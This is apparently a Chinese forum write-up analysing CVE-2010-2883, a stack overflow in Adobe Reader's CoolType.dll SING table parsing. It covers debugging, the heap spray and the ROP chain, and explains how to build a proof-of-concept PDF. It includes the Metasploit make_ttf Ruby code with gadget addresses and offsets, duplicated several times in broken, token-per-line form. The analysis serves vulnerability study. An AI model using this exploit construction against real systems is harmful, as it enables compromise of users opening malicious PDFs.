-
-
[原创]CVE-2010-2883分析_更新:如何自己构造poc文件
-
发表于: 2021-7-6 18:57 16261
-
相关文件可以在《漏洞战争》这本书的配套资料中获取
该漏洞是Adobe Reader和Acrobat中的CoolType.dll库在解析字体文件SING表中的uniqueName项时存在的栈溢出漏洞。
之前漏洞分析一直参考的0day这本书,这次开始看《漏洞战争》,(只针对这一个漏洞)发现里面对于一些细节并没有特别说明,导致我在分析的时候还是满头雾水,虽然按照书中的介绍也能够分析出来,但还是觉得各个步骤之间的逻辑关系不够明确。
现在已知存在漏洞的文件,同时书中配套资料也提供了poc的PDF文件。我首先想知道的是文件字体SING表究竟是什么东西,以及CoolType.dll文件中具体哪里存在漏洞这两个问题。
我直接做了一张思维导图,包含了TTF文件和SING表的结构组成:
TTF文件的结构十分简单,它是由一系列的表组成的,开头是一个Font Directory,记录了整个文件以及各个表的信息。每个表都有一个四字节的标签,SING就是一个标签。要注意的是,每个Table Directory的顺序和后面的各个表的顺序并不是一一对应的,要根据Table Directory中的offset值找到对应表的位置。
每个表都包含了关于字体的不同信息,SING(Smart INdependent Glyphlets)表中包含的是和生僻字有关的信息。
在IDA中打开CoolType.dll这个文件,搜索SING字符串,查看其交叉引用,
在第二项中,可以看到在引用SING字符串下面的不远处,有一个strcat
函数调用,所以大概率应该就是这里存在漏洞了,位于函数0x803DCF9
中。
看一下漏洞所在函数的代码:
上面的代码已经做了部分处理和注释,这里用到一个技巧,就是按Shift+F1
,打开Local Types窗口,再按Insert
,插入C语言写的结构体SING
,然后修改变量类型为SING
,这样比较方便分析。
从上面这段代码判断可以得出一些简单的结论,TTF文件中不存在name表,sing表的tableVersionMajor
等于0
或者0x100
。这种情况下会到达漏洞处。
其实前面还有一些判断条件我没有确定是什么意思,但目前只能分析到这个程度,虽然再花时间也能分析出来,但是会花费太长时间,所以我选择继续分析其他内容。
TTF文件的提取可以使用PDFStreamDumper,
可以看到其中的SING字符串,如果查看Stream Details也能够看到这是一个ttf类型。然后右键选择Save Decompressed Stream,在010editor中打开这个文件,可以直观的看到TTF的结构:
紧接着上面看到的TTF文件,看一下msf是怎么构建这个文件的:
msf使用的基础TTF文件是Vera.ttf (785d2fd45984c6548763ae6702d83e20)
,然后对这个文件内容进行修改。
然后开始构造SING表,前十六个字节如下,可以看到tableVersionMajor
设成了0
:
uniqueName
字段先是被初始化成了随机字符sing << rand_text(0x254 - sing.length)
,然后再设置几个特殊位置用于作为跳转地址,这部分内容先不考虑,等之后开始调试再分析。
最后设置了ttf文件的0xec
和0x11c
的位置,我们可以看一下原始的Vera.ttf
文件,这两个位置上是什么内容:
从上图可以看出来,代码其实是将原本的name
表的tag
修改成了sing
,同时用sing
表的内容替换了位于0x11C
的原本name
表的内容。这也与静态分析的结论相符合——TTF文件中不存在name表。
在上面有看到TTF文件中设置了几个特殊的位置,分别是:
下面通过调试确定这几个位置的作用。
找到了漏洞的位置之后,使用之前在0day上学习到的调试PDF漏洞的方法,使用OD打开Adobe Reader,选择File
→Open
,在打开POC之前,在0x803DCF9
这里设置一个断点,然后打开POC文件,OD会断在断点位置,在这里打一个快照方便之后回溯。
然后执行到0x0803DDAB
的strcat
调用处,F8
执行,可以看到0x12E4D8
已经被写入了sing
表的uniquename
内容:
接下来要确定程序的执行流程是在哪里被劫持的,直接在复制的这段数据上设置内存访问断点(这个方法很好,一开始我还想靠代码分析,后来发现完全不行,太复杂了),F9执行。
接下来会经历两次对该段数据的遍历,这里不用管,已知到达了一个调用:
注意到这里调用的地址就保存在uniquename
中,也就是上面提到的第二个特殊位置:
进入该调用,此时寄存器的情况:
add ebp, 0x794 / leave
这两句指令会更新ebp和esp寄存器,leave指令相当于mov esp, ebp / pop ebp
,相当于:
所以最后执行完retn
指令,相当于把uniquename
中的第9~12个字节作为了下一个跳转地址,也就是上面提到的第三个特殊位置:
uniquename
中的第13~16字节是0x0C0C0C0C
,也就是上面提到的第四个特殊位置:
而0x4a82a714
处的指令为pop esp / retn
,所以从这一步之后,栈顶就到了payload所在的位置了
到目前位置已经确定了三个特殊位置字节的作用,但是还有第一个和第五个特殊位置不知道有什么用(当然注释里面其实已经说了(lll¬ω¬))
为了测试这两个位置字节的作用,在执行strcat之前,手工修改要复制的内容(后来通过修改msf的脚本直接在kali里面生成TTF文件,下面写了):
其中绿框圈中的是已知的特殊位置,蓝框圈中的是未知特殊位置。
然后还是设置内存访问断点,F9开始调试,跳过前两遍遍历之后,到达了下面这个位置:
这个时候如果继续F9,程序会直接退出,所以这里F7进入下面那个call指令,会到达下面的位置:
注意这里赋给ECX寄存器0x12E45C
处存储的值,也就是我们关注的第一个特殊位置,继续F8,到达这里:
总结下来:
所以0x12e45c
这里一定要存储一个可写的地址,这也是代码中有一个- 0x1c
的原因。
看一下内存空间:
手动把EAX的值改成0x4a8a08e2
,让程序可以继续执行。
结果继续F9,程序成功到达了payload的位置。嗯???那第五个特殊位置的值到底有什么用?
其实一开始我也想到要执行执行ruby的脚本获取测试用TTF文件,但是嫌弃它有点麻烦,就先采取了手工修改内存的方式,结果还是出了问题……
因为我没有仔细注意uniquename
的长度问题,可以对比一下是否添加sing[0x24c, 4] = [0x6c].pack('V')
这句代码,得到的TTF文件的差别:
所以一定要设置一个\x00
的结尾字符,否则strcat
无法判断字符串结尾,会一直向后复制
注:这里我想到了CVE-2009-0927这个漏洞,是否可以复制超长字符串引发异常,然后覆盖异常处理函数的方法,但是后来发现不行,因为第一个异常处理函数并没有被覆盖到。
然后现在的问题就在于是否一定要设置6C
这个字符(根据上面的实验结果应该是不需要的),以及是否一定要设置在0x24c
这个位置上。
因为之前已经确定了几个特殊位置,我决定把上面的那句代码修改为sing[0x20c, 4] = [0x00].pack('V')
,经过测试仍然可以到达payload位置执行。
所以第五个特殊位置只是为了保证字符串有一个\x00
的结尾(因为实验次数不多,而且没有看代码,这个结论不敢保证100%正确):
我并没有想再完整的分析完payload的内容,但是在调试的过程中,确实存在一些问题想要弄清楚。
目前还没有看poc中javascript的代码是什么样子的,不过知道采用的仍旧是堆喷射的手法。在之前学习堆喷射的时候,了解到的是javascipt在堆中分配一大块内存,把shellcode放在里面,其余内存设置为\x90
,然后在溢出时覆盖跳转地址为0x0C0C0C0C
,这个地址一定在堆分配的地址中,这样经过了一段nop
指令之后,一定会命中shellcode。
可是在调试这个漏洞的时候,发现程序在到达0x0C0C0C0C
之后,需要的数据刚好位于0x0C0C0C0C
的位置,所以这里的javascript的代码肯定和我一开始想的不太一样
从PDF中提取出来的javascript代码如下:
我做了一些整理,得到下面的代码:
在理解为什么0x0C0C0C0C
的位置恰好是需要的数据时,有一个知识点需要知道:系统在分配内存的时候,低二字节的地址不会改变,比如第一次申请的地址可能是0x123450000
,第二次可能变成了0x23450000
,但是后面的四位是不变的。
知道了这一点,我们看代码中得到的一个64KB的数据段temp = block.substring(0, 65536/2);
,要知道64KB就是0x10000字节,刚刚好就占据了后四位地址,也就是说不管内存怎么分配,这64KB数据的相对位置都是不变的。
总结下来,array_d
中的每个元素(1M数据)的结构是这样的
所以,0x0C0C0C0C
的位置永远都是需要的数据。
在0day安全中,在讲堆喷射的时候,提到了”Java会为申请到的内存添加一些额外的信息“,前面会添加32字节的头部和4字节的字符串大小,但是我在调试的时候发现,查看内存布局,1M内存里面只有前面的32个字节是添加的数据。可能是关键字不对,我也没有搜索到什么资料,不知道有没有大佬知道细节。
我其实不太熟悉ROP(Return-Oriented Programming)的概念,但是查了一些资料,感觉原理和ret2libc差不多,所以这里跟踪调试一下整个流程。
这部分还要涉及到上面TTF文件分析的部分内容,要从3.2.1里面提到的call [eax]
开始说起,因为从这里开始,就已经进入ROP了。
上面的三段流程就对应了之前提到的TTF文件中的第2、3、4三个特殊位置,然后开始javascript部分。看一下栈中数据,这部分内容来自msf脚本:
以上就是ROP的整个流程了,虽然很长,但是分成不同的模块之后就会发现,主要模块有两个(绿色和蓝色),分别用于准备函数参数和进行函数调用,紫色模块就是一些数值操作。
这次的漏洞分析学习到了一下几点知识:
使用pattern_create.rb生成字符串粘贴到sing表的数据部分
关于生成的长度:不能太长,否则进行strcat复制到栈中时,会直接写到不可写的范围,导致程序终止。经过调试判断,这里选择长度0x2000
选择原文件中uniquename字段中前1000个字节,进行数据替换,并修改最后三个字节为0x00
继续执行,程序中断
eax这里无法写入,看一下eax的来源:
来自[ecx+1Ch]
,而ecx的值是f1a3e9a3
。所以我们需要在生成的文本中找到a3e9a3f1
,并把它替换成一个可写的地址。
通过!address
命令查看内存,找一块可写的内存,我选择的是0x23949228
。
替换后,重复上述步骤,会发现程序直接退出了。
调试发现,退出行为发生在.text:0803DEE1 E8 A9 A2 00 00 call @__security_check_cookie@4 ;
处,所以猜测是覆盖的数据太多,导致check_cookie失败了,仔细检查这里的代码:
注意这里ecx和ebp做异或之后就是要检查的cooki值,而ecx的值来自0012e5dc
,是c6a3c5a3
。
所以需要在生成文本中找到0xa3c5a3c6
,但是发现这个数值的位置甚至还在第6步的可写内存地址之前,因为已经有了上面的分析经验,所以知道现在的分析步骤肯定是存在问题的
<aside>
如果没有之前的分析步骤,直接自己写的话,我应该会不断修改替换的数据长度,这中间肯定要耗费一定时间,但是最终找到正确方向是没什么问题的。
</aside>
为了方便设置内存访问断点,还是使用OD调试,在程序到达上一步可写内存的指令后,设置strcat目标地址处的内存访问断点
第一次中断在0x8001263
,这里获取的数值不影响程序的执行流程;
第三次中断在0x801BA64
,程序尝试从0012E71C
获取值C4A6C3A6
。从IDA中看静态代码,这里数据的取址会直接影响该函数的返回值:
单步继续执行,函数返回的是0,回到0x8016c3a
。由于返回值是0,下面的跳转指令生效。为了测试这个跳转对于此次漏洞利用有没有影响,重新设置EIP的值,让程序不跳转,拍摄个快照,然后F9继续执行,由于内存断点没有取消,会发现程序中断在了check_cookie之前,然后继续单步就失败了
也就是说无论这里跳不跳转,程序最终都会因为check_cookie失败,我们生成的长度肯定是太长了。
根据数据生成规律,C4A6C3A6
这个值要靠后很多,在生成数据中搜索,并把它前面的三个字节设置为0x00。
使用最新生成的poc.pdf进行调试测试,这次程序在0x801BA64
所在函数返回了一个非0值,因此后续跳转指令没有实现。F9继续执行,会发现程序中断在了0xe2a5e1a5
:
观察调用栈信息:
找到了返回地址0808b30a
:
成功定位到了流程被劫持的位置。
接下来需要在生成数据中搜索0xa5e1a5e2
,并把它替换成跳板指令所在的地址,但是跳板指令是什么呢?
我们的目标是通过pop retn
让0x0C0C0C0C
成为栈顶,然后继续ROP的执行
需要看一下寄存器的值,上面已经贴出了:
目前可控数据所处的地址范围是0x12e4d8~0x12e71c
,
最理想的情况就是让esp加上一定的值(这里是0x7B4~0x9F8
),到达可控数据范围,然后pop esp
修改esp为0x0c0c0c0c
,再加一个retn
pop esp retn
指令很好找(寻找的范围是Adobe Reader中一个DLL文件的加载地址):
但是想在前面再加上一个add esp
指令就不好找了,这也是为什么msf的代码中使用的使用add ebp + leave retn
的模式,先对ebp进行计算,然后通过leave
指令将其移动到esp中。
如果是对ebp进行加法,可能的范围就是0x790~0x9D4
,不知道0x794这个数值是不是实验出来的,按照四字节对齐,第二次就是实验出来:
第一个跳板指令是add ebp + leave retn
,把它的地址081586a5
放到0xa5e1a5e2
的位置,然后还是上述步骤调试,发现已经可以正常跳转到add ebp, 794h
了:
ebp+0x794=0x12e4dc,leave指令相当于mov esp, ebp; pop ebp
,因此leave
指令之后,esp的数值应该是0x12e4dc+4=0x12e4e0,此时再执行retn
,就会在0x12e4e0处的数值移入EIP中。
在Windbg中查看:
这里的数据是a6a1a5a1
。因此在生成数据中搜索0xa1a5a1a6
,并将其替换为指令pop esp retn
的地址060280c7
。
在执行pop esp
之前,由于前面的retn
指令,此时esp应该指向0x12e4e4,因此要把这里的数据修改成0x0C0C0C0C。
全部修改完毕后,还是按照之前的步骤,形成poc.pdf,然后用Windbg调试,最后到达了0x0c0c0c0c位置,按照ROP的流程继续往下执行:
注意此时esp已经是0x0c0c0c0c了。
def
make_ttf
ttf_data
=
""
# load the static ttf file
# NOTE: The 0day used Vera.ttf (785d2fd45984c6548763ae6702d83e20)
path
=
File
.join( Msf::Config.install_root,
"data"
,
"exploits"
,
"cve-2010-2883.ttf"
)
fd
=
File
.
open
( path,
"rb"
)
ttf_data
=
fd.read(fd.stat.size)
fd.close
# Build the SING table
sing
=
''
sing << [
0
,
1
,
# tableVersionMajor, tableVersionMinor (0.1)
0xe01
,
# glyphletVersion
0x100
,
# embeddingInfo
0
,
# mainGID
0
,
# unitsPerEm
0
,
# vertAdvance
0x3a00
# vertOrigin
].pack(
'vvvvvvvv'
)
# uniqueName
# "The uniqueName string must be a string of at most 27 7-bit ASCII characters"
#sing << "A" * (0x254 - sing.length)
sing << rand_text(
0x254
-
sing.length)
# 0xffffffff gets written here @ 0x7001400 (in BIB.dll)
sing[
0x140
,
4
]
=
[
0x4a8a08e2
-
0x1c
].pack(
'V'
)
# This becomes our new EIP (puts esp to stack buffer)
ret
=
0x4a80cb38
# add ebp, 0x794 / leave / ret
sing[
0x208
,
4
]
=
[ret].pack(
'V'
)
# This becomes the new eip after the first return
ret
=
0x4a82a714
sing[
0x18
,
4
]
=
[ret].pack(
'V'
)
# This becomes the new esp after the first return
esp
=
0x0c0c0c0c
sing[
0x1c
,
4
]
=
[esp].pack(
'V'
)
# Without the following, sub_801ba57 returns 0.
sing[
0x24c
,
4
]
=
[
0x6c
].pack(
'V'
)
ttf_data[
0xec
,
4
]
=
"SING"
ttf_data[
0x11c
, sing.length]
=
sing
ttf_data
end
def
make_ttf
ttf_data
=
""
# load the static ttf file
# NOTE: The 0day used Vera.ttf (785d2fd45984c6548763ae6702d83e20)
path
=
File
.join( Msf::Config.install_root,
"data"
,
"exploits"
,
"cve-2010-2883.ttf"
)
fd
=
File
.
open
( path,
"rb"
)
ttf_data
=
fd.read(fd.stat.size)
fd.close
# Build the SING table
sing
=
''
sing << [
0
,
1
,
# tableVersionMajor, tableVersionMinor (0.1)
0xe01
,
# glyphletVersion
0x100
,
# embeddingInfo
0
,
# mainGID
0
,
# unitsPerEm
0
,
# vertAdvance
0x3a00
# vertOrigin
].pack(
'vvvvvvvv'
)
# uniqueName
# "The uniqueName string must be a string of at most 27 7-bit ASCII characters"
#sing << "A" * (0x254 - sing.length)
sing << rand_text(
0x254
-
sing.length)
# 0xffffffff gets written here @ 0x7001400 (in BIB.dll)
sing[
0x140
,
4
]
=
[
0x4a8a08e2
-
0x1c
].pack(
'V'
)
# This becomes our new EIP (puts esp to stack buffer)
ret
=
0x4a80cb38
# add ebp, 0x794 / leave / ret
sing[
0x208
,
4
]
=
[ret].pack(
'V'
)
# This becomes the new eip after the first return
ret
=
0x4a82a714
sing[
0x18
,
4
]
=
[ret].pack(
'V'
)
# This becomes the new esp after the first return
esp
=
0x0c0c0c0c
sing[
0x1c
,
4
]
=
[esp].pack(
'V'
)
# Without the following, sub_801ba57 returns 0.
sing[
0x24c
,
4
]
=
[
0x6c
].pack(
'V'
)
ttf_data[
0xec
,
4
]
=
"SING"
ttf_data[
0x11c
, sing.length]
=
sing
ttf_data
end
sing << [
0
,
1
,
# tableVersionMajor, tableVersionMinor (0.1)
0xe01
,
# glyphletVersion
0x100
,
# embeddingInfo
0
,
# mainGID
0
,
# unitsPerEm
0
,
# vertAdvance
0x3a00
# vertOrigin
].pack(
'vvvvvvvv'
)
sing << [
0
,
1
,
# tableVersionMajor, tableVersionMinor (0.1)
0xe01
,
# glyphletVersion
0x100
,
# embeddingInfo
0
,
# mainGID
0
,
# unitsPerEm
0
,
# vertAdvance
0x3a00
# vertOrigin
].pack(
'vvvvvvvv'
)
# 0xffffffff gets written here @ 0x7001400 (in BIB.dll)
sing[
0x140
,
4
]
=
[
0x4a8a08e2
-
0x1c
].pack(
'V'
)
# This becomes our new EIP (puts esp to stack buffer)
ret
=
0x4a80cb38
# add ebp, 0x794 / leave / ret
sing[
0x208
,
4
]
=
[ret].pack(
'V'
)
# This becomes the new eip after the first return
ret
=
0x4a82a714
sing[
0x18
,
4
]
=
[ret].pack(
'V'
)
# This becomes the new esp after the first return
esp
=
0x0c0c0c0c
sing[
0x1c
,
4
]
=
[esp].pack(
'V'
)
# Without the following, sub_801ba57 returns 0.
sing[
0x24c
,
4
]
=
[
0x6c
].pack(
'V'
)
# 0xffffffff gets written here @ 0x7001400 (in BIB.dll)
sing[
0x140
,
4
]
=
[
0x4a8a08e2
-
0x1c
].pack(
'V'
)
# This becomes our new EIP (puts esp to stack buffer)
ret
=
0x4a80cb38
# add ebp, 0x794 / leave / ret
sing[
0x208
,
4
]
=
[ret].pack(
'V'
)
# This becomes the new eip after the first return
ret
=
0x4a82a714
sing[
0x18
,
4
]
=
[ret].pack(
'V'
)
# This becomes the new esp after the first return
esp
=
0x0c0c0c0c
sing[
0x1c
,
4
]
=
[esp].pack(
'V'
)
# Without the following, sub_801ba57 returns 0.
sing[
0x24c
,
4
]
=
[
0x6c
].pack(
'V'
)
# This becomes our new EIP (puts esp to stack buffer)
ret
=
0x4a80cb38
# add ebp, 0x794 / leave / ret
sing[
0x208
,
4
]
=
[ret].pack(
'V'
)
# This becomes our new EIP (puts esp to stack buffer)
ret
=
0x4a80cb38
# add ebp, 0x794 / leave / ret
sing[
0x208
,
4
]
=
[ret].pack(
'V'
)
ebp
=
ebp
+
0x794
;
/
/
0x12e4dc
,注意这个地址是uniquename中的第五个字节所在位置
esp
=
ebp;
ebp
=
[
0x12e4dc
];
/
/
0xe78b53ab
esp
=
esp
+
4
;
/
/
0x12e4e0
ebp
=
ebp
+
0x794
;
/
/
0x12e4dc
,注意这个地址是uniquename中的第五个字节所在位置
esp
=
ebp;
ebp
=
[
0x12e4dc
];
/
/
0xe78b53ab
esp
=
esp
+
4
;
/
/
0x12e4e0
# This becomes the new eip after the first return
ret
=
0x4a82a714
sing[
0x18
,
4
]
=
[ret].pack(
'V'
)
# 注意这个偏移0x18是从sing表的开头计算
# This becomes the new eip after the first return
ret
=
0x4a82a714
sing[
0x18
,
4
]
=
[ret].pack(
'V'
)
# 注意这个偏移0x18是从sing表的开头计算
# This becomes the new esp after the first return
esp
=
0x0c0c0c0c
sing[
0x1c
,
4
]
=
[esp].pack(
'V'
)
# This becomes the new esp after the first return
esp
=
0x0c0c0c0c
sing[
0x1c
,
4
]
=
[esp].pack(
'V'
)
[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!